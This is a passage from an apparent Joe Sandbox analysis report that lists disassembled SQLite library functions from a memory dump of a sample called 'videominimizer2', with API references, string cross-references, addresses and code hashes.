sqlite3_mutex_enter.SQLITE3 ref: 609390B7
sqlite3_free.SQLITE3 ref: 60939120
sqlite3_mutex_leave.SQLITE3 ref: 6093912D
sqlite3_mutex_leave.SQLITE3 ref: 60939138

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_free
String ID:
API String ID: 251237202-0
Opcode ID: ee0aefbaff40cad113deb2524f723b57adfc4224f15c8691f87345bc20e459c1
Instruction ID: 8e14962182cb4ba31828fc05f1b37fa5954e33605a362b2e641de35f96add61e
Opcode Fuzzy Hash: ee0aefbaff40cad113deb2524f723b57adfc4224f15c8691f87345bc20e459c1
Instruction Fuzzy Hash: 022137B46087158BC709AF68C48570ABBF6FFA5318F10895DEC958B345DB74E940CB82

Function 6091A2E8 Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

sqlite3_aggregate_context.SQLITE3 ref: 6091A31E
sqlite3_value_text.SQLITE3 ref: 6091A349
sqlite3_value_bytes.SQLITE3 ref: 6091A356
sqlite3_value_text.SQLITE3 ref: 6091A37B
sqlite3_value_bytes.SQLITE3 ref: 6091A387

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_value_bytessqlite3_value_text$sqlite3_aggregate_context
String ID:
API String ID: 4225432645-0
Opcode ID: e7dd5294350f58c57afd4f2551108a775ab72f2657aaaf635efeb712e258985e
Instruction ID: 24a20a1669ecabf1c8c9e0f75de4e20f6480f0c3e20d7f4799920e66bb4c3c2a
Opcode Fuzzy Hash: e7dd5294350f58c57afd4f2551108a775ab72f2657aaaf635efeb712e258985e
Instruction Fuzzy Hash: 3F21CF71B086588FDB009F29C48075E7BE7AFA4254F0484A8E894CF305EB34DC86CB91

Function 60903571 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3(?,-00000200,?), ref: 6090359D
sqlite3_mutex_leave.SQLITE3(?,-00000200,?), ref: 609035E0
sqlite3_mutex_enter.SQLITE3(?,-00000200,?), ref: 609035F9
sqlite3_mutex_leave.SQLITE3(?,-00000200,?), ref: 60903614
sqlite3_free.SQLITE3(?,-00000200,?), ref: 6090361C

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_free
String ID:
API String ID: 251237202-0
Opcode ID: d176fa110bd2286076a254f1a84b89a7a2b75649dc4a807f2bdee778eef171d4
Instruction ID: 98a7ce7f1ce2ff6a0e5ca4ca87ec4bf20a5c319c62b2fc6798152503390b0136
Opcode Fuzzy Hash: d176fa110bd2286076a254f1a84b89a7a2b75649dc4a807f2bdee778eef171d4
Instruction Fuzzy Hash: B211FE725186218BCB00EF7DC8C16197FE7FB66358F01491DE866D7362D73AD480AB42

Function 609441F6 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 262COMMON

Download Yara Rule

APIs

sqlite3_log.SQLITE3 ref: 609498F5

Strings

(, xrefs: 6094449C
|, xrefs: 609499CF
string or blob too big, xrefs: 60949978

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_log
String ID: ($string or blob too big$|
API String ID: 632333372-2398534278
Opcode ID: 03236f3895d5fd10e60d1ff1eefb6ed02231b27a1c47450c0fb49d2dd58edd91
Instruction ID: 3c3a64a58f66130c0c9aec06ea77be0954bd7b4098f3428da06b6372deec6608
Opcode Fuzzy Hash: 03236f3895d5fd10e60d1ff1eefb6ed02231b27a1c47450c0fb49d2dd58edd91
Instruction Fuzzy Hash: 5DC10CB5A043288FCB66CF28C981789B7BABB59304F1085D9E958A7345C775EF81CF40

Function 6092362D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

sqlite3_stricmp.SQLITE3 ref: 60923675

Strings

BINARY, xrefs: 6092372C

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_stricmp
String ID: BINARY
API String ID: 912767213-907554435
Opcode ID: dd54eeba7b99beb4c129e1ce0ebb3c97c4d31291de79a9977aa1c0a9ff3222ee
Instruction ID: 142a1e9d4f1e8552d2c1f4074703eb5ae9f1e70d76b7ded3e689f9c37387bea1
Opcode Fuzzy Hash: dd54eeba7b99beb4c129e1ce0ebb3c97c4d31291de79a9977aa1c0a9ff3222ee
Instruction Fuzzy Hash: 11512AB8A142159FCF05CF68D580A9EBBFBBFA9314F208569D855AB318D335EC41CB90

Function 6096D170 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 6096D1A1
VirtualProtect.KERNEL32 ref: 6096D1E3
VirtualProtect.KERNEL32 ref: 6096D21E

Strings

@, xrefs: 6096D1C8

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: Virtual$Protect$Query
String ID: @
API String ID: 3618607426-2766056989
Opcode ID: a11a59528d98c4ff7ad69dfbc7d520f68a8f714e9ef4c31244658d91e7757f1c
Instruction ID: 11fd3fd6c91f2e29dbdaed7331fdf7a08ef8f1da01c53322037319a40d79a89e
Opcode Fuzzy Hash: a11a59528d98c4ff7ad69dfbc7d520f68a8f714e9ef4c31244658d91e7757f1c
Instruction Fuzzy Hash: 003141B5E15208AFEB14DFA9D48158EFFF5EF99254F10852AE868E3310E371D940CB52

Function 60928335 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

sqlite3_malloc.SQLITE3 ref: 60928353

Part of subcall function 60916FBA: sqlite3_initialize.SQLITE3(60912743,?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5), ref: 60916FC4

sqlite3_realloc.SQLITE3 ref: 609283A0
sqlite3_free.SQLITE3 ref: 609283B6

Strings

d, xrefs: 6092836D

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_freesqlite3_initializesqlite3_mallocsqlite3_realloc
String ID: d
API String ID: 211589378-2564639436
Opcode ID: 4c34ce46e3d0a3d1d3def0d8ad382c8948c40f702370fc4fcdce263753dde11a
Instruction ID: 0830c2115c9ea807631a831f7f1165b0ee40d8a8a94356aa67113494a68d5982
Opcode Fuzzy Hash: 4c34ce46e3d0a3d1d3def0d8ad382c8948c40f702370fc4fcdce263753dde11a
Instruction Fuzzy Hash: 222137B0A04205CFDB14DF59D4C078ABBF6FF69314F158469D8889B309E3B8E841CBA1

Function 60901184 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 6090119B
GetProcAddress.KERNEL32 ref: 609011B0

Strings

_Jv_RegisterClasses, xrefs: 609011A5
libgcj-11.dll, xrefs: 60901194

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: _Jv_RegisterClasses$libgcj-11.dll
API String ID: 1646373207-2713375476
Opcode ID: 84d528d321f1eea6d8a1b68cb749bb1a2441192a5c5952381cf667fabd413772
Instruction ID: e6822cb61b404b68644b44a252d8259deade1a358cfa59fcc717d95409d4d83a
Opcode Fuzzy Hash: 84d528d321f1eea6d8a1b68cb749bb1a2441192a5c5952381cf667fabd413772
Instruction Fuzzy Hash: 0DE04F7062D30586FB443F794D923297AEB5F72549F00081CD9929B240EBB4D440D753

Function 60922538 Relevance: 6.3, APIs: 4, Instructions: 317COMMON

Download Yara Rule

APIs

sqlite3_free.SQLITE3 ref: 609225EA
sqlite3_free.SQLITE3 ref: 60922697
sqlite3_free.SQLITE3 ref: 609228D2
sqlite3_free.SQLITE3 ref: 60922905

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_free
String ID:
API String ID: 2313487548-0
Opcode ID: 17c4197e66eccf8e4e539c70c01e6b2d08fb8491bcf73b2b2b780fd64eb57762
Instruction ID: 4e09bb13dd5a3c3c1d339de95b14bc5918580ae4e3dbdcf066e72e084d482625
Opcode Fuzzy Hash: 17c4197e66eccf8e4e539c70c01e6b2d08fb8491bcf73b2b2b780fd64eb57762
Instruction Fuzzy Hash: 15E14674928209EFDB04CF94D184B9EBBB2FF69304F208558D8956B259D774EC86CF81

Function 6094D584 Relevance: 6.3, APIs: 1, Strings: 3, Instructions: 285COMMON

Download Yara Rule

Strings

sqlite_master, xrefs: 6094D630
sqlite_temp_master, xrefs: 6094D63B
sqlite_sequence, xrefs: 6094D77D

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID:
String ID: sqlite_master$sqlite_sequence$sqlite_temp_master
API String ID: 0-1177837799
Opcode ID: b45b6970ebe54efa46efcb65f0e1138f7cff2b55d537d73117a3441f01693427
Instruction ID: e5240d50caebec33bd4ce83d4b9fb982fe545a794019e3d400788b6e3ec19482
Opcode Fuzzy Hash: b45b6970ebe54efa46efcb65f0e1138f7cff2b55d537d73117a3441f01693427
Instruction Fuzzy Hash: F7C13974B062089BDB05DF68D49179EBBF3AFA8308F14C42DE8899B345DB39D841CB41

Function 609292DA Relevance: 6.1, APIs: 4, Instructions: 84COMMON

Download Yara Rule

APIs

sqlite3_free.SQLITE3 ref: 60929311
sqlite3_value_text.SQLITE3 ref: 60929358
sqlite3_value_bytes.SQLITE3 ref: 60929364
sqlite3_malloc.SQLITE3 ref: 60929374

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_freesqlite3_mallocsqlite3_value_bytessqlite3_value_text
String ID:
API String ID: 1648232842-0
Opcode ID: 6f401334500cf3ce8937f97dce09bc9131fc1f686c7391f4db805f1c2cabf22c
Instruction ID: a01add595a6c287de5924383f0ed77e5cc34082cd65fcd393cbe5beac3228527
Opcode Fuzzy Hash: 6f401334500cf3ce8937f97dce09bc9131fc1f686c7391f4db805f1c2cabf22c
Instruction Fuzzy Hash: 4531C0B4A042058FDB04DF29C094B5ABBE2FF98354F1484A9EC498F349D779E846CBA0

Function 60961492 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

sqlite3_step.SQLITE3 ref: 609614AB
sqlite3_reset.SQLITE3 ref: 609614BF

Part of subcall function 60941C40: sqlite3_mutex_enter.SQLITE3 ref: 60941C58
Part of subcall function 60941C40: sqlite3_mutex_leave.SQLITE3 ref: 60941CBE

sqlite3_column_int64.SQLITE3 ref: 609614D4

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_column_int64sqlite3_mutex_entersqlite3_mutex_leavesqlite3_resetsqlite3_step
String ID:
API String ID: 3429445273-0
Opcode ID: 44b7ea0f60ccad0bdb665534712f35195a3185c30aa33eaed9220a178cd48643
Instruction ID: 62863439de2fabb71fd3664abc4fbfc11ff04353a6e6e3e42574d1c19fb7889d
Opcode Fuzzy Hash: 44b7ea0f60ccad0bdb665534712f35195a3185c30aa33eaed9220a178cd48643
Instruction Fuzzy Hash: AE316470A183408BEF15CF69C1C5749FBA6AFA7348F188599DC864F30AD375D884C752

Function 6093A57B Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 6093A58F
sqlite3_stricmp.SQLITE3 ref: 6093A5C6
sqlite3_snprintf.SQLITE3 ref: 6093A60B
sqlite3_snprintf.SQLITE3 ref: 6093A631

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_snprintf$sqlite3_stricmpsqlite3_value_text
String ID:
API String ID: 1035992805-0
Opcode ID: 213593095aed0ecc64844f89ed1f3878beaaf7633e295caa013ed5846923251b
Instruction ID: 84d28b158f1a11e063f70be148de9c7b2eff514b3bcf7808f17aa895500be78a
Opcode Fuzzy Hash: 213593095aed0ecc64844f89ed1f3878beaaf7633e295caa013ed5846923251b
Instruction Fuzzy Hash: 8C3178B0A08324DFEB24CF28C481B4ABBF6FBA5318F04C499E4888B251C775D885DF42

Function 609034B2 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3(-00000200,?,?,6090B22B), ref: 609034D8
sqlite3_mutex_leave.SQLITE3(-00000200,?,?,6090B22B), ref: 60903521
sqlite3_mutex_enter.SQLITE3(-00000200,?,?,6090B22B), ref: 6090354A
sqlite3_mutex_leave.SQLITE3(-00000200,?,?,6090B22B), ref: 60903563

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave
String ID:
API String ID: 1477753154-0
Opcode ID: cc0b0c4414a91b2c8747a1fff16426ed14613a144e31e5ae299e51467139190c
Instruction ID: 848dca46e936c6e01d33e08870ae11aa620bd8b24bdb606da7ea596206f2e213
Opcode Fuzzy Hash: cc0b0c4414a91b2c8747a1fff16426ed14613a144e31e5ae299e51467139190c
Instruction Fuzzy Hash: 44111F726186218FDB00EF7DC8817597FEAFB66308F00842DE865E7362E779D8819741

Function 6092A43E Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

sqlite3_initialize.SQLITE3 ref: 6092A450

Part of subcall function 60912453: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 609124D1

sqlite3_mutex_enter.SQLITE3 ref: 6092A466
sqlite3_mutex_leave.SQLITE3 ref: 6092A47F
sqlite3_memory_used.SQLITE3 ref: 6092A4BA

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_mutex_enter$sqlite3_initializesqlite3_memory_usedsqlite3_mutex_leave
String ID:
API String ID: 2673540737-0
Opcode ID: 58333c90df1895ca2798dafcbab41657529afc007f85020e925d8580cfdcdfcb
Instruction ID: c4988029ba64cfb2248a7cf0c790324acf4c13eb0f9cd3f15fdedc175ef3c91a
Opcode Fuzzy Hash: 58333c90df1895ca2798dafcbab41657529afc007f85020e925d8580cfdcdfcb
Instruction Fuzzy Hash: F9019276E143148BCB00EF79D88561ABFE7FBA5324F008528EC9497364E735DC408B81

Function 6092A3C4 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 6092A3D8
sqlite3_value_text.SQLITE3 ref: 6092A3FA
sqlite3_load_extension.SQLITE3 ref: 6092A418
sqlite3_free.SQLITE3 ref: 6092A431

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_freesqlite3_load_extension
String ID:
API String ID: 3526213481-0
Opcode ID: e69664dddad2286ff6ed0cb1f1c7a121e5262b7aa8061cf10291ac83704fea4b
Instruction ID: 98199466554994e62e20ad809be6129e3c08b78dd6d8c38fc18f61524e73aad2
Opcode Fuzzy Hash: e69664dddad2286ff6ed0cb1f1c7a121e5262b7aa8061cf10291ac83704fea4b
Instruction Fuzzy Hash: 4101E9B5A043059BCB00EF69D485AAFBBF5EF68654F10C529EC9497304E774D841CF91

Function 60969133 Relevance: 6.0, APIs: 4, Instructions: 40COMMON

Download Yara Rule

APIs

sqlite3_prepare.SQLITE3 ref: 60969166
sqlite3_errmsg.SQLITE3 ref: 60969172

Part of subcall function 609258A8: sqlite3_log.SQLITE3 ref: 609258E5

sqlite3_errcode.SQLITE3 ref: 6096918A

Part of subcall function 609251AA: sqlite3_log.SQLITE3 ref: 609251E8

sqlite3_step.SQLITE3 ref: 60969197

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_log$sqlite3_errcodesqlite3_errmsgsqlite3_preparesqlite3_step
String ID:
API String ID: 2877408194-0
Opcode ID: 06185e76a961c89383dca1620ea17d5683e825aa4cba78efc797247d66345ea8
Instruction ID: d4ebd4c9a05a553e526e78eaaf80584f3afcfe73b3175c4c6dada352db343273
Opcode Fuzzy Hash: 06185e76a961c89383dca1620ea17d5683e825aa4cba78efc797247d66345ea8
Instruction Fuzzy Hash: 9F0186B091C3059BE700EF29C88525DFBE9EFA5314F11892DA89987384E734C940CB86

